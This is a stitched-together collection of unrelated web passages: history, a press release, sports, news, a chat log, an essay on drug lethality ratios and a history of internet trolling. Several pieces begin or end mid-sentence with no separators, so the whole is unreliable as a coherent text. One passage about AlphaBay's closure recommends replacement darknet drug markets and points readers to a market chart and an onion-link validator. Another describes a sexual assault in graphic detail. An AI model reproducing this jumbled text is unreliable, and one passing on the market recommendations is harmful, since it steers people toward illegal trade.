"It's quite amazing how he morphed'subjects' into 'citizens,' " she said. "We did the reverse morphing back to'subjects.' "
France said the possibility that the erased word was "subjects" came up during a talk she gave to library donors and visitors about how to study historical documents without harming them. France had determined that a word existed beneath "citizens," and she asked the group for ideas. One woman called out "subjects," and library staff members immediately realized that she was on to something. The intensive work on the document soon began.
The erased word is on the third of the draft's four pages, in the section that addressed grievances against King George III and outlined his incitement of "treasonable insurrections." The sentence is not found in the later Declaration of Independence, but "citizens" is used elsewhere in that document and "subjects" is not.
Scholars previously determined that Jefferson had been writing his early version based on the first draft of Virginia's constitution, where the words "our fellow subjects" appear.
Finding Jefferson's erased word is the library's greatest accomplishment using its new technology, but several other projects are in progress. The imaging device, for instance, found thumb and fingerprints on the Gettysburg Address using infrared light, and library researchers are seeking to determine whether they are President Abraham Lincoln's.
Light outside the visible range has also brought to life details of Pierre L'Enfant's design for Washington and notes on papers of Jefferson and Benjamin Franklin.
Van der Reyden said the research and discoveries illustrate why it's so important to keep and protect original documents. The erased "subjects," she said, could have been detected only from Jefferson's original draft.While every weight loss journey is often tough, the first step is typically the hardest to take. Nevertheless, the ability to take that step makes all the difference. It was only 6 months ago that David Diaz embarked upon a journey to lose 100 pounds with LEAF Lifestyle.
Luke Sniewski, LEAF Founder/CEO, recalls the beginning of Diaz’s journey. “David wanted to focus his life on health. He found himself in life situations that many of us get stuck in and don't know how to get out of or who to ask for help. David took the brave and uncomfortable first step and simply said, ‘help me.’ It was real. It was emotional. And I knew he had the right mindset to succeed.”
Ready to embark on his journey, Diaz turned his life over to LEAF’s Lifestyle Transformation program. The program focused on the 6 principles necessary for a healthy lifestyle:
1. Real Food – Diaz incorporated a healthy diet catered to his individual biochemistry and focused on establishing healthy eating habits.
2. Movement – Aside from strength & conditioning with LEAF Founder/CEO Luke Sniewski, Diaz also incorporated yoga with Claire Robbie, Founder of Jack & Olive Retreats. The program also emphasized daily movement, which translated into David riding his bike to work or doing a hike after work.
3. Rest & Relaxation – When life, work and the training got too intense, the program eased up and supported Diaz, allowing him to recover, stay in control, and break through plateaus.
4. Lifelong Learning – Diaz was intimately involved in the Lifestyle Transformation, reading and researching the various changes offered by the program. He was taught to be his own health and wellness guru, understanding that “health is a matter of reassessing one’s own priorities.”
5. Community – Diaz surrounded himself with positive individuals that supported his goals and often times participated in healthy activities, like Sunday Hike Club.
6. Love - Most important, Diaz learned the importance of loving himself. He utilized LEAF strategies and ensured that he was his biggest supporter during the challenging moments.
After following the program and transforming both his body and his lifestyle, Diaz has rekindled a new passion for life. “It was a truly enlightening experience the first time I was doing a hike and I thought to myself, ‘this is getting easier because I am getting fitter.’ It's a wonderful feeling, and one I don't ever want to let go of it.”
The emotional and inspiring video of David’s journey is available at http://www.leaflifestyle.com/david-diaz-lifestyle-transformation/.
LEAF Lifestyle is a community of health professionals and experts who want to help others on their path towards optimal health and wellness. LEAF focuses it's lifestyle recommendations on Longevity, Energy, Athleticism, and Function. In addition to providing expert opinions, LEAF also offers videos, online programs, coaching and e-books. Visit http://www.leaflifestyle.com for more details.
To schedule an interview with David Diaz or Luke Sniewski, or for media inquires, please contact: Kelley Coughlan, Melrose PR, Kelley(at)melrosepr(dot)com, (310) 260-7901, http://www.melrosepr.com.
Read the full story at http://www.prweb.com/releases/2013/10/prweb11245406.htmThe intelligence of dolphins never fails to amaze us less-flippered friends – and we’re not just talking about the dolphin that stole a woman’s iPad this week.
New research has shown that dolphins “sing” to their unborn calves in their womb. Dolphins use “signature whistles” to identify and communicate with one another, much like we use names. Mother dolphins have been observed performing a signature whistle for the baby in the months running up to the birth and up to two weeks after.
This has been studied before, but this new research looked into the rates of these whistles and if they changed after the birth. Audra Ames, of the Marine Mammal Behavior and Cognition Lab at the University of Southern Mississippi, showed some of their findings at the annual American Psychological Association conference, Live Science reports.
"It's been hypothesized that this is part of an imprinting process," Ames told Live Science at the conference.
"We actually do see that human babies develop a preference for their mother's voice in the last trimester. We don't know if that's something that's going on here, but it could be something similar,” she added.
They recorded 80 hours of audio – both two months before and after the birth – at a tank in Six Flags Discovery Kingdom in Vallejo, California. The enclosure was home to a pod of dolphins, including a 9-year-old female that was pregnant with a calf, later named Mira. They discovered the mother performed a new whistle that intensified around the birth and then begun to taper off over the months following. They also found that other dolphins in the area remained quieter in this period, which they believe was a conscious effort not to confuse the calf and to ensure it “does not imprint on the wrong signature whistle.”
Additionally, as the mother started to taper off her repetitions, the other dolphins in the group begun to increase the rates of their own whistles. The mother’s whistle for the calf in this early period also differed from the whistle other dolphins gave. Who knows, perhaps it’s just a parent’s pet-name for their kid.nathan says:heyadam says:yoadam says:what's up?nathan says:i realized that i actually don't have any friends, just acquaintances, so i end up calling my closest acquaintances my friends.adam says:sure, acquaintance. it's all academicnathan says:i guess it's all relative, so f#ck it.adam says:what's a friend supposed to be?adam says:someone so close that you give them a [sensored] but you just don't quite finish?adam says:cause that would be lovernathan says:im not sure, but here is what i do know: a lot of people have a lot more [sensored] than i do.adam says:you sound kind of depressed tonightnathan says:i've never done [sensored], but i often pretend that i have in conversationsadam says:have you ever done 'deep and insightful conversation?'adam says:'with a human regardless of sex or gender'adam says:that's a good onenathan says:yes, tonight in fact. with a girl named krista. about religion and spirituality.nathan says:i have decided to buy this computer to replace my compaq...nathan says:adam says:perfect, that will turn your life aroundnathan says:i hope so adam. because currently i am depressed.nathan says:i have eaten 2 chocolate bars in the last 4 minutesadam says:write that on the blogadam says:nathan says: (2:30:21 AM)i have eaten 2 chocolate bars in the last 4 minutesadam says:nate, it'll be ok. you're a f@cking geniusnathan says:i dont know weather to swear at you or thank youFalls Brook Trail
Tunxis State Forest, Connnecticut
Here are six photos from my October 17 hike of the Falls Brook Trail in Tunxis State Forest, Hartland, CT.
From the small parking area on Route 20, a blue-blazed trail leads west approximately 0.3 miles to a 1.1-mile loop. To the right is the upper part of the loop and a bridge over the eastern branch of Falls Brook. To the left is the lower part of the loop and the main waterfall, unofficially named Falls Brook Falls. This waterfall is near the southeastern (bottom) end of the loop, and getting a decent view of it requires some off-trail scrambling.
The trail is not strenuous, as there is little elevation change, but the footing can be tricky, especially when the rocky trail is covered with leaves. The loop includes three brook crossings, but only one has a bridge, so some care is required for making the other two crossings in high water. It is possible avoid fording the brook and still enjoy most of the scenery by treating the hike as an out-and-back to the confluence of the two brook branches with a spur to the main waterfall - only about 0.2 miles of the loop would be sacrificed.
Falls Brook cascade and pool above main waterfall
Falls Brook cascades above main waterfall
Falls Brook Falls (unofficial name)
Falls Brook Falls
Downstream from Falls Brook Falls
Small waterfall at the confluence of the Falls Brook branches
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In short, baseball is getting quantitatively less exciting, and fewer people watch with each passing year. Why?
The obvious answer—so obvious that its obviousness seems to dispel other explanations—is the rule against steroids. In the spring of 2006, Major League Baseball implemented a new drug policy, banning more than 100 substances and threatening one-year suspensions for two-time violators and lifetime bans for three-time offenders. You might say that performance-enhancing drugs were the chemical tailwind behind the home-run bonanza. When baseball banished them, the tailwind died, and hitters’ un-enhanced strength has proven inferior. Since 2006, the same year baseball introduced its drug policy, total home runs have fallen in a herky-jerky pattern. Total slugging, a more complete picture of power hitting, has eroded more steadily.
The End of Offense
League-wide home runs and slugging percentage: 1998 - 2013
Yes, steroids pumped up offenses, and yes, the rules against steroids have deflated them. But something else happened in 2006—something that baseball fans rarely talk about when they bemoan the offensive state of baseball. It wasn’t something that baseball took away. It was, rather, something that baseball added.
A camera.
Umpiring the Umpires
On October 4, 2006, the Minnesota Twins hosted the Oakland Athletics in a first-round playoff game at the Metrodome. When the first pitch left Esteban Loaiza's fingers, a first-of-its-kind camera tracked the pitch’s speed, break, and location, and relayed the data points to broadcasters and online viewers. By 2008, cameras with this Pitch f/x technology were installed in every stadium, capturing 95 percent of all balls and strikes, according to Hardball Times.
Rather than deem the cameras a threat to league integrity, baseball embraced them. For years, Major League Baseball had been pressuring umpires to submit to performance standards. With the introduction of Pitch f/x, MLB finally had cameras in every stadium to umpire the umpires. In 2009, the league implemented a policy called Zone Evaluation (ZE), which tracked missed calls after each game and judged umpires by their accuracy. After ZE's first year, three senior umpires were fired for their mistakes behind the plate. Those with good performance could get promotions and earn up to $400,000.
Better incentives make better workers. As economist Edward Lazear has shown, organizations become more productive when a job well done is rewarded with extra money and dumb mistakes are punished. So we shouldn’t be surprised that, after the introduction of cameras, umpires have called the strike zone more consistently and more accurately each year since 2007, as Brian Mills explained in a brilliant paper.
Cameras Made Umpires More Accurate
The strike zone morphed in the age of camera technology, as well. Before cameras, it turned out, umpires had been ignoring strikes around the knees. Pitches between 18 and 30 inches above the plate, which are technically in the strike zone, had been called balls for years. But the presence of cameras encouraged umpires to lower the strike zone.Moscow is set to continue supporting Syria in its fight against Islamic State and provide Damascus with military supplies, Russia’s foreign minister said, stressing that the drills of the Russian Navy near Syrian shores fully comply with international law.
“We support the fight of the Syrian government against so-called Islamic State, which neither represents Islam, nor happens to be a state,” Sergey Lavrov said Friday.
Russia will not hesitate to continue maintaining Syria’s defensive capacity to counter the terrorist threat, Lavrov said.
“I can tell you once again, that our servicemen and military experts remain there [in Syria] for the maintenance of Russian [military] hardware and assisting the Syrian army in using this hardware, there’s training under way,” Lavrov said, stressing that military hardware supplies will continue.
In fighting terrorism, Moscow has always supported “teamwork based on international legislation,” the foreign minister said.
READ MORE: US backs those who want to use terrorists against Assad – Lavrov
Germany has said it welcomes more Russian engagement in the fight against Islamic State.
“I think we would welcome the Russian Federation and the Russian president... getting actively involved in the fight against ISIS, given the dangers arising from Islamist terrorism,” Reuters cited German Foreign Ministry spokesman Martin Schaefer as saying, speaking at a regular government news conference in Berlin on Friday.
Lavrov also reiterated that the anti-ISIS coalition should start cooperating with the Syrian government and army on the ground.
“The most effective and powerful ground force to fight Islamic State is the Syrian army,” Lavrov said, adding that coordination is necessary to avoid |
4 News.
Ofc. Renne spotted a car that police were looking for. When he called for backup, officers from the Pleasant Valley Police Department arrested a robbery suspect.
Angela Bright, Lewis Elementary School Assistant Principal, is the culprit behind the phoney cash in the school resource officer's office.
“He's a great resource officer. We've enjoyed working with him and getting to know him. I think he's a great addition to our staff,” Bright said.
“All these kids ask me every day, 'Are you a real cop?'” Ofc. Renne said. “Now, I have enough street cred in the hallways to say, 'Yes, I'm a real cop.' They believe me now.”
Ofc. Renne says he's been handing out the photocopied cash to kids at school as souvenirs of the occasion. He says he's keeping just one for himself to remind him of how much he loved this day at school.
An FBI spokesperson says Kansas City resident Kishahn Lewis, 20, is the man Ofc. Renne helped arrest. He's been charged with the robbery, and he faces up to 20 years in prison.About the conference
The 2019 International Joint Conference on Neural Networks (IJCNN) will be held at the InterContinental Budapest Hotel in Budapest, Hungary on July 14-19, 2019. The conference is organized by the International Neural Network Society (INNS) in cooperation with the IEEE Computational Intelligence Society, and is the premier international meeting for researchers and other professionals in neural networks and related areas. It will feature invited plenary talks by world-renowned speakers in the areas of neural network theory and applications, computational neuroscience, robotics, and distrbuted intelligence. In addition to regular technical sessions with oral and poster presentations, the conference program will include special sessions, competitions, tutorials and workshops on topics of current interest.
Conference Details:
Location: InterContinental Budapest
Date: July 14-19, 2019
Country: Budapest, Hungary
Click here to Register for IJCNN2019 Today!
Visit Budapest:
From the abundance of thermal springs to one of the largest Parliament buildings in the world, it’s no wonder Budapest is ranked one of the most beautiful cities in Europe, attracting over four million visitors each year. There are World War II memorials for history lovers, Hungarian delicacies for the foodies, and street music, folk dancing, and famous museums for those who enjoy the arts. Though convenient public transportation is offered throughout this capital city, its highlights are easily accessible by foot, allowing you to walk the cobblestone streets—or across the variety of picturesque bridges over the river Danube, joining Buda and Pest—and appreciate the rich culture.
Note, our website is constantly being updated with all the information for the 2019 IJCNN Meeting. Please stay tuned and come back for all our updates!Robert Gable is an emeritus professor of psychology at Claremont Graduate University.
Twenty years ago, when my son was a teenager, his favorite recreational drug was ecstasy, or MDMA. He claimed that ecstasy was “as safe as alcohol,” and that there was nothing to worry about. Of course, I did worry.
My worry eventually led to a decade-long research project that compared the relative risk of 20 different recreational substances. Here’s the way scientists usually make comparisons of the risk (acute lethality) of various drugs:
No drug is good for teenagers. But when it comes to the chances of immediate death by chemical toxicity, marijuana is about a hundred times safer than alcohol.
First, determine the “effective” dose of the drug. In the case of alcohol, for example, two 12-ounce beers or two 1.5-ounce shots of 80-proof vodka will give a normally healthy teenager a substantial buzz. The beer or the vodka each contain about 33 grams of ethyl alcohol.
Second, determine the “lethal” dose of the drug. Again, in the case of alcohol, hospital records show that people who die from an alcohol overdose have usually ingested about 330 grams of alcohol — equivalent to 20 shots of vodka.
Third, divide the lethal dose by the effective dose. This gives the “safety margin” of the drug. For alcohol, the safety margin is 10 (330 divided by 33 equals 10). In other words, it takes 10 times as much alcohol to kill you as it does to give you a buzz. Note: All such calculations are very rough estimates, and severe toxic reactions can occur at much lower doses depending on the health of the individual.
Based on my research, the safety margin of recreational substances as normally used is: 6 for heroin; 10 for alcohol; 15 for cocaine; 16 for MDMA; 20 for codeine; and 1,000 for LSD or marijuana. Cigarettes have little immediate risk of death because most of the very lethal nicotine is destroyed in the smoke. The long-term risk of addiction and cancer from cigarettes is well known.
No drug is good for teenagers. But when it comes to the chances of immediate death by chemical toxicity, marijuana is about a hundred times safer than alcohol or cocaine.About
Trolling is an Internet slang term used to describe any Internet user behavior that is meant to intentionally anger or frustrate someone else, though not to be confused with cyberbullying, a form of online harassment carried out against an individual in a deliberately hostile manner, often without any reason, or pranking, which similarly involves playing jokes on strangers for one's amusement, but typically implies more coordination and intent.
Online History
Etymology
The etymological root of the word "troll" is generally attributed to hunting and fishing jargons. According to the Online Etymology Dictionary, the noun "troll" originated from an Old Norse word for a type of monstrous creature and the verb to troll comes from the Old French hunting term "troller." According to Merriam-Webster, the English verb to troll refers to the act of slowly dragging a lure while fishing as bait.
In Other Languages
In Japanese, tsuri (つり) means "fishing" and refers to intentionally misleading posts created with the purpose of eliciting negative response from other users. Arashi (あらし) means "laying waste" and can also be used to refer to simple spamming. In Korean, nak-si (낚시) means "fishing", and is used to refer to Internet trolling attempts, as well as purposefully misleading post titles. A person who recognizes the troll after having responded (or, in case of a post title nak-si, having read the actual post) would often refer to himself as a caught fish.
Early Usage
The contemporary use of the term is alleged to have appeared on the Internet in the late 1980s, but the earliest known mention of the word "troll" on record can be found in a post on the Usenet newsgroup alt.folklore.urban from December 14th, 1992. The term continued to grow popular in the early 1990s through its usage in the Usenet group alt.folklore.urban and by the late 1990s, the alt.folklore.urban newsgroup had such heavy traffic and participation that acts of trolling became frowned upon. Prior to the widespread use of the term "trolling," similar behaviors have been observed through "griefing," the act of intentionally causing distress to other players in an online game, since the days of Multi-User Dungeons (MUDs) in the late 1980s and "flaming," the act of instigating hostility or unpleasant exchanges in online forums, which also emerged through Usenet newsgroup discussions.
The Rules of the Internet
The Rules of the Internet a list of protocols and conventions, originally written to serve as a guide for those who identified themselves with the Internet group Anonymous. By looking at the Rules of the Internet, one can understand the patterns of behaviors behind anonymous trolls:
Rules 8 and 9 describe the free-for-all environment of anonymous interactions on 4chan:
8.There are no real rules about posting.
9.There are no real rules about moderation either – enjoy your ban.
Rules 11-15 describe exactly what one can expect when confronting a troll:
11.All your carefully picked arguments can easily be ignored.
12.Anything you say can and will be used against you.
13.Anything you say can be turned into something else – fixed.
14.Do not argue with trolls – it means that they win.
15.The harder you try the harder you will fail.
Rules 18 and 19 reinforce the presence of trolls and the nihilism behind the trolling behavior:
18.Everything that can be labeled can be hated.
19.The more you hate it the stronger it gets.
Rule 20 is perhaps the most important rule of all and best defense against trolls:
Rule 20. Nothing is to be taken seriously!
Rule 39 is an example of some good-natured trolling. The annoyance caused by CAPSLOCK is widely recognized, so to say that it is “cruise control for cool” is one of the few instances that sarcasm is able to carry over to text without much effort:
39. CAPSLOCK IS CRUISE CONTROL FOR COOL
Rule 42 and 43 are statements that apply not only to the motivation behind trolls, but also to a warped sense of catharsis that some have experienced through observing trolls:
42.Nothing is Sacred
43.The more beautiful and pure a thing is – the more satisfying it is to corrupt it.
Trollface
Trollface is a black and white drawing of a face with a large mischievous grin that is meant to portray the expression someone makes while trolling. Posting a Trollface image into a forum thread is often used to claim that someone was being fooled or intentionally angered. The face commonly appears in rage comic indicating that the character is being mischievous in some way. The original drawing was created by deviantArt user Whynne on September 19th, 2008 to illustrate the pointless nature of trolling on 4chan’s /v/ (videogames) board.
Online Usage
Trolling is most commonly associated with online discussions where users are subjected to offensive or superfluous posts and messages in order to provoke a response. Numerous forums and Usenet boards are dedicated to the fine art of what the New York Times called "manipulating other people's emotional equilibrium." Trolling can be considered a form of cyberbullying and. For more information, Wikipedia offers a consistently updated summary of research behind the human motivation to troll.
Griefing
Griefing is the act of intentionally causing distress to other players in an online game. The tactics used to cause grief vary depending on which game is being played. Griefers sometimes record their victim’s reactions and upload the videos onto YouTube.
Flaming
Flaming, though not strictly limited to intentional acts of trolling, is another popular method of instigating hostility or unpleasant exchanges in online discussions by bringing up incendiary subject topics like the September 11th attacks, Religion, Politics and Sexism. Early incidents of trolling were considered to be the same as flaming, but this has changed with modern usage by the news media to refer to the creation of any content that targets another person.
Raiding
Raiding, or the act of coordinating a group assault on a massive scale, is a popular choice of method for Internet trolls, especially those associated with Anonymous on 4chan. Prime examples include Tom Green's Call-in Talk Show Raid, Habbo Hotel Raid, Operation YouTube, Club Penguin Raid, Put Shoe On Head and Ventrillo Harassment among others.
Shock Trolling
Shock trolling is a common tactic practiced by exposing the targeted victim to disturbing or shocking content, such as materials from shock sites, horror or pornographic images, in order to provoke a strong reaction. To an extent, shock value trolling has been demonstrated in real life as practical jokes like The Scary Maze Game and Scary Prank Reaction Videos.
Bait and Switching
Bait-and-Switch is a common tactic associated with online fraud and practical humor that involves falsely advertising a hyperlink as a destination of interest, when in fact, it leads to something that is irrelevant or undesirable.
Some of the most commonly linked destinations in bait-and-switch trolling include The Hampster Dance, Duckroll, Rickroll, Trololol, Nigel Thornberry Remix and Epic Sax Guy. The method is also widely used as an online prank wherein links to shock sites and media are falsely advertised as news or information that is in high demand.
An Example of a Rickroll Hyperlink (click through for more info)
Copypasta Stories
On 4chan, bait-and-switch trolling has also demonstrated its use as a plot device in greentext stories, copypastas and creepypastas, in which the OP begins by telling a story that seems believable enough to be autobiographical or confessional, but as the narrative progresses, it is brought to a sudden and anti-climactic end with an excerpt of a widely recognized quote or pop song lyrics. Some of the most notable examples include Fresh Prince of Bel-Air, Spaghetti Stories, Tree Fiddy and Burst into Treats among others.
Advice Trolling
Advice Trolling is yet another common method used to mislead people by offering dubious or sometimes malicious advices, especially to newbies who are less experienced and more gullible than others. Prime examples include Download More RAM, Delete System 32 and Alt + F4.
Newbie Trolling
As its name suggests, newbie trolling, is the act of instilling hostility and annoyance by posing as an inexperienced newcomer and posting redundant questions to solicit reactions from those who're more experienced and genuinely willing to help. The tried-and-true practice of "playing dumb" has been also observed in the form of grammar trolling, which entails intentionally misspelling a word or a phrase in order to solicit reactions or corrections from those unable to tolerate faulty grammar, sometimes known as Grammar Nazis.
Snipe Hunting
Snipe Hunting, also known as "a fool's errand," is yet another popular type of trolling that involves tricking newbies into go on a search for something that does not exist. Some examples include Headlight Fluid, Gold Membership Trolling, Battletoads Preorder and Download More RAM among others.
Concern Trolling
Concern trolling is the practice of initiating a false flag debate by assuming the exact opposite point of view as the one actually held by the speaker. The purpose of concern trolling is to instill confusion and doubt within the targeted group by raising issues under the pretext that the speaker empathizes with the said group.
Related Controversies
PairGain Speculation
On April 8th, 1999, several investors were tipped off by trolls in Yahoo Finance chat rooms that the California-based telephone equipment company PairGain was soon to be acquired by an Israeli telecom company. As a result, PairGain’s stock jumped by 31% at one point, though it promptly crashed after the initial reports were identified as a hoax started by a former PairGain employee.
Oklahoma Bombing T-shirt
On April 25th, 1995, six days after the Oklahoma City bombing, anonymous Internet users began posting advertisements for t-shirts and merchandises glorifying the bombing of the federal building onto AOL's Michigan Military Movement bulletin board. The messages instructed the readers to call Kenneth M. Zeran, a man who had nothing to do with the ads or the merchandise aside from the fact that his phone number was included in the message. Shortly after the posting of the messages, Zeran began receiving a barrage of threatening calls.
The Case of Jessi Slaughter
Jessi Slaughter, real name Jessica Leonhardt and formerly known as KerliGirl13 on YouTube, is a Florida teenager whose attention-seeking behaviors in her YouTube videos caused her to become the target of a 4chan raid, resulting in a rage-fueled and ill-advised retort from her father that became the subject of image macros and remix videos. As a result, a police investigation was initiated by the local sheriff's department to supposedly track down the pranksters.
The Case of Natasha MacBryde (UK)
On September 14th, 2011, Sean Duffy, a 25 year old British man from Reading, Berkshire was sentenced to eighteen weeks in jail after pleading guilty to "two counts of sending a communication of an indecent or offensive nature." Months earlier, Duffy had left inappropriate videos and messages on the Facebook memorial page for Natasha MacBryde, a 15 year old girl who committed suicide after receiving anonymous messages on her Formspring page and having an argument with a friend via Facebook, similar to the plot of the ABC Family movie Cyberbully.
On September 15th, the British news agencies Telegraph and BBC reported that Duffy was accused of posting similar videos and messages on another Facebook memorial tributes page for Sophie Taylor, a 16 year old girl who was accidentally shot dead by her boyfriend.
Studies
Identity & Deception in Virtual Communities
The earliest known academic research on the practice of internet trolling was conducted by MIT media scholar Judith Donath in her 1996 paper "Identity and Deception in the Virtual Community." From Wikipedia :
"In the physical world there is an inherent unity to the self, for the body provides a compelling and convenient definition of identity. The norm is: one body, one identity … The virtual world is different. It is composed of information rather than matter.”
“Trolling is a game about identity deception, albeit one that is played without the consent of most of the players. The troll attempts to pass as a legitimate participant, sharing the group's common interests and concerns; the newsgroups members, if they are cognizant of trolls and other identity deceptions, attempt to both distinguish real from trolling postings, and upon judging a poster a troll, make the offending poster leave the group. Their success at the former depends on how well they – and the troll – understand identity cues; their success at the latter depends on whether the troll's enjoyment is sufficiently diminished or outweighed by the costs imposed by the group.”
Psychology Behind Trolling
From Wikipedia :
Some psychologists have suggested that flaming would be caused by de-individuation, or decreased self-evaluation: the anonymity of online postings would lead to disinhibition amongst individuals. Others have suggested that although flaming and trolling is often unpleasant, it may be a form of normative behavior that expresses the social identity of a certain user group. According to Tom Postmes, a professor of social and organisational psychology at the universities of Exeter, England, and Groningen, The Netherlands, and the author of Individuality and the Group, who has studied online behavior for 20 years, "Trolls aspire to violence, to the level of trouble they can cause in an environment. They want it to kick off. They want to promote antipathetic emotions of disgust and outrage, which morbidly gives them a sense of pleasure."
Understanding Trolls
On August 3rd, 2008, New York Times explored the history behind the online phenomenon of trolling in an article titled "The Trolls Among Us."
In the late 1980s, Internet users adopted the word “troll” to denote someone who intentionally disrupts online communities. Early trolling was relatively innocuous, taking place inside of small, single-topic Usenet groups. The trolls employed what the M.I.T. professor Judith Donath calls a “pseudo-naïve” tactic, asking stupid questions and seeing who would rise to the bait. The game was to find out who would see through this stereotypical newbie behavior, and who would fall for it. As one guide to trolldom puts it, “If you don’t fall for the joke, you get to be in on it.”
In the article, James Fortuny, a central figure behind Megan Meier's posthumous trolling controversy, explained the concept of trolling and how it can be stopped:
Fortuny: “You have green hair. Did you know that?”
Mattathias: “No,”
Fortuny: “Why not?”
Mattathias: “I look in the mirror. I see my hair is black.”
Fortuny: “That’s uh, interesting. I guess you understand that you have green hair about as well as you understand that you’re a terrible reporter.”
Mattathias: “What do you mean? What did I do?”
Fortuny: “That’s a very interesting reaction. why didn’t you get so defensive when I said you had green hair?” If I were certain that I wasn’t a terrible reporter, he explained, I would have laughed the suggestion off just as easily. The willingness of trolling “victims” to be hurt by words, he argued, makes them complicit, and trolling will end as soon as we all get over it.
Trolls Just Want to Have Fun
On February 8th, 2014, University of Manitoba's Erin Buckels and two of her colleagues published a psychology paper on the personalities of trolls on the Internet. According to Slate's summary of the paper, Buckels tried to investigate whether people who are prone to engage in trolling can be characterized by certain personality traits that would fall in what the researchers refer to as the Dark Tetrad, Machiavellianism (willingness to manipulate and deceive others), narcissism (egotism and self-obsession), psychopathy (the lack of remorse and empathy), and sadism (pleasure in the suffering of others). According to the paper, their study found significant correlations between exhibition of sadistic traits and trolling behavior.
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Despite the fact that several AlphaBay admins tried to calm the storm of angry vendors and buyers who lost bitcoin during the market’s so-called “maintenance shutdown,” it seems that AlphaBay has indeed exit scammed and closed for good.
Use this market chart and check the next best market for you: Darknetmarkets.co/darknet-makrets-chart
Our DNM onion link validator – Make sure you are using the official DNM link: darknetmarkets.co/onion-darknetmarkets-are-you-phished
Though this may be the case, some sites which maintain a darknet market “superlist,” such as DeepDotWeb, are temporarily leaving it displayed. Notwithstanding, even DeepDotWeb has left a note to users, saying “AlphaBay is gone for now – Use Dream or Hansa instead!”
This begs the question – which markets are reasonable replacements for AlphaBay? Obviously, as stated, two alternatives are Dream Market and Hansa Market, especially given that they are already considered some of the top markets at present. Both have numerous listings for drugs, as well as several other categories (though drugs tend to be the most popular).
Several other options exist as well, such as Apple Market, Valhalla (Silkkitie), and Wall Street Market, although these are limited in certain categories of goods that the above markets have in abundance, and don’t necessarily have the reputations that Dream and Hansa do.
During this time, rumors and stories also continue to swirl through the community as to what actually took place, as well as numerous questions from former AlphaBay customers about transferring markets.
On the r/AlphaBay subreddit, in a post entitled “Rumours, speculation, and the truth,” user torchflora attempted to make sense of the situation:
It’s evident that as we all endure this sucky ordeal the propaganda, lies, & bullshit will be ever flowing. So far we’ve heard rumours of exit scams, police intervention & stories that I don’t even want to repeat because I feel they will dumb down my intelligence. We can all dwell on the money/orders lost but it isn’t going to change a thing, this is the risk we all run by using any marketplace on the deep web.
It seems all too logical that former AlphaBay and Dream Market vendor EtiKing (also known as Jeremy P. Achey) was recently arrested following a DEA investigation tied to the death of one of his customers. Such incidents have garnered negative attention for the major darknet markets.
Like the original Silk Road market before them, current darknet markets, while they may enjoy widespread success, always run the risk of being targeted by law enforcement or being suspected of scamming their customers. This is why the peer-to-peer aspect of such markets plays an integral role in their functioning.
Hansa Market, which is experiencing an influx of new users, has a good reputation due to what it calls its “trustless payment system.” In other words, it enables multisig escrow payments, does not require on-site deposits, and forbids finalize early (FE) transactions. Dream Market has a ratings system for its vendors, based on their number of successful transactions, as well as feedback from users.
While such systems don’t necessarily guarantee that a market will be without problems, they do help prevent them. Based on their experience with AlphaBay, users of these markets (and others) may tread more carefully with regard to their cryptocurrencies.
It remains to be seen what will become of the other major markets, but for the time being, they are operating profitably.Every share makes Black Voice louder! Share To Share To
3 Idaho high school students have been charged with raping a disabled black classmate with coat hanger.
According to reports, the teens, John R.K. Howard, 18, Tanner Ward, 17, and an unnamed 16-year-old, sexually assaulted a disabled black student in a locker room after returning from playing football. They used a hanger to perform the horrible act. While one of the players was holding the victim the others pushed the hanger into his anus and kicked it several times.
The victim explained during an interview with Twin Falls Times-News, “I screamed. I was pretty upset. I felt really bad. A little bit betrayed and confused at the same time. It was terrible — a pain I’ve never felt.”
Following that incident, two of the students involved were expelled by the school trustee in November 2015. The two were charged with sexual assaults and will be tried as adults and the 16-year-old as juvenile, but there is still a possibility that they will not get what they deserve. The Washington Post reported that Howard, who was one of the teens expelled, returned to Texas to complete his high school.
The victim’s family filed a $10 million lawsuit against school administrators for failing to stop racist abuse in the school. The lawsuit alleges that the black teen was “taunted and called racist names by other members of the team, which names included ‘Kool-Aid.’ ‘chicken eater,’ ‘watermelon,’ and [‘n——-‘].” The school officials are also believed to turn a blind eye on the footballers’ behavior because of their sporting achievements and family connections.
Such horrible things are going to continue if the community remains calm and silent.
Share this article and help to fight against racial discrimination in our communities.TAMPA, Fla. -- One person who wasn't surprised by the performance of Tampa Bay Buccaneers wide receiver Russell Shepard last Sunday was quarterback Jameis Winston.
“He’s probably our best all-around player on this team as far as the passion that he comes with every day to work, as far as the leadership that he gives us and just his heart,” Winston said of Shepard. “His overall heart is tremendous."
A special-teams captain who typically does a lot of the "dirty work" -- such as run-blocking on offense and serving as a gunner on special teams -- Shepard caught five of six targets for 77 receiving yards and a touchdown in the Bucs' 34-17 victory over the San Francisco 49ers and figures to keep playing a bigger role in the Bucs' offense in the absence of Vincent Jackson.
"He’s really our best all-around guy," Winston said, pointing to his versatility. "He’s different. He can run down, sprint full-speed down there to cover a kick, then come out there and catch a touchdown. That’s different. Guys don’t do that. Guys will say, ‘I’m winded.' Guys will say, ‘give me one,’ and he’s not that guy."
Winston, who graduated from high school three years after Shepard, remembers watching YouTube videos of him when he was a high school quarterback. “'Shep’ was one of my favorite players. I used to watch one of his videos where he had his hat backwards, he was doing some footwork drills."
The Bucs' Russell Shepard celebrates after scoring a touchdown against the 49ers last Sunday. It was the second career TD catch for Shepard, a special-teams captain in his fourth NFL season. Kyle Terada/USA TODAY Sports
For Shepard, that versatility and "team-first" mentality has given him job security. He was both Rivals.com and Scout.com's No. 1-rated dual-threat quarterback in the nation coming out of Houston's Cypress Ridge High School in 2009. After four years at LSU, he entered the NFL as an undrafted free agent with the Philadelphia Eagles in 2013. He was claimed off waivers by the Bucs that September and is in his second season as a special-teams captain.
"I take pride in doing the dirty work," said Shepard, who became a father for the first time this year and is known for his passionate locker-room speeches before games. "I take pride in doing the things that most receivers don't usually do, or have to do."
He recovered a muffed punt in the Bucs' 17-14 win over the Carolina Panthers on Monday Night Football. He has enjoyed getting more looks recently as a receiver because it affords him even more of an opportunity to impact the game.
"Any time I can come in, whether it's blocking a nine-technique on the line, or running a deep route to clear it out for Mike Evans, or if it's me myself being the primary target on a pass play, I'm willing to do it," Shepard said. "I'm the ultimate team guy. I love to win football games – it's kind of the biggest thing that drives my motivation.
"It's the kind of thing that got me on the field throughout college, being on a talented roster at that point in time at LSU, being able to do multiple things. Right now in my career, this is really helping me out. I'm being able to really develop from a receiving standpoint and take advantage of these opportunities."
Offensive coordinator and wide receivers coach Todd Monken said Shepard will continue to split reps this week with Cecil Shorts III and Adam Humphries to fill the void left by Jackson. He's happy that one of his 'role players' who typically doesn't garner much attention is getting some recognition.
